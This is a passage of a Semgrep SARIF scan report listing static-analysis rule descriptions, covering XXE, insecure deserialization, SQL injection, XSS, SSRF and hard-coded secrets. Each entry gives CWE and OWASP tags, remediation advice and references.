generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Workspace user volume is unencrypted. The AWS KMS encryption key protects user volume. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","id":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","name":"terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-workspaces-user-volume-unencrypted.aws-workspaces-user-volume-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"help":{"markdown":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1)\n - [https://link.springer.com/chapter/10.1007/BFb0055716](https://link.springer.com/chapter/10.1007/BFb0055716)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/cipher/pkcs1_v1_5](https://www.pycryptodome.org/src/cipher/pkcs1_v1_5)\n","text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","id":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","name":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","id":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","name":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"help":{"markdown":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication)\n - [https://cwe.mitre.org/data/definitions/287.html](https://cwe.mitre.org/data/definitions/287.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n","text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","id":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","name":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-A07:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","id":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","name":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","id":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","name":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express","id":"javascript.express.code.puppeteer-express.puppeteer-express","name":"javascript.express.code.puppeteer-express.puppeteer-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.puppeteer-express.puppeteer-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli)\n - [https://github.com/MagicStack/asyncpg](https://github.com/MagicStack/asyncpg)\n - [https://magicstack.github.io/asyncpg/current/](https://magicstack.github.io/asyncpg/current/)\n","text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","id":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","name":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper","id":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","name":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-textiowrapper"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'io.WriteString()' writing directly to 